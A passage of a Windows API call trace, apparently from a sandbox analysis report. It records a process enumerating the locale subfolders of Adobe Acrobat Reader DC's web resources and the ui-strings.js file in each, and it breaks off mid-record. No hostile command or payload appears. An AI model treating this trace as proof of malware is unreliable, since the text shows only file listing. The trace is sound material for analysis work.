lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.844] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.844] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.844] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.844] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.844] GetProcessHeap () returned 0xc10000 [0249.844] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.844] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0249.845] GetProcessHeap () returned 0xc10000 [0249.845] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.846] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.846] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.846] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.846] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.846] GetProcessHeap () returned 0xc10000 [0249.846] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.847] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0249.847] GetProcessHeap () returned 0xc10000 [0249.847] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.848] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.848] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.848] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.848] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.849] GetProcessHeap () returned 0xc10000 [0249.849] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.849] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0249.849] GetProcessHeap () returned 0xc10000 [0249.849] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.850] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.850] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.850] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.850] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.850] GetProcessHeap () returned 0xc10000 [0249.850] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.850] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0249.851] GetProcessHeap () returned 0xc10000 [0249.851] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0249.851] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.851] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.851] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.851] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0249.852] GetProcessHeap () returned 0xc10000 [0249.852] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.852] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0249.852] GetProcessHeap () returned 0xc10000 [0249.852] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.853] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.853] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.853] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.853] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.853] GetProcessHeap () returned 0xc10000 [0249.853] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.853] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0249.853] GetProcessHeap () returned 0xc10000 [0249.853] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.854] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.854] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.854] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.855] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.855] GetProcessHeap () returned 0xc10000 [0249.855] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.855] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0249.855] GetProcessHeap () returned 0xc10000 [0249.855] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.855] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.856] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.856] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.856] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.856] GetProcessHeap () returned 0xc10000 [0249.856] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.856] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, 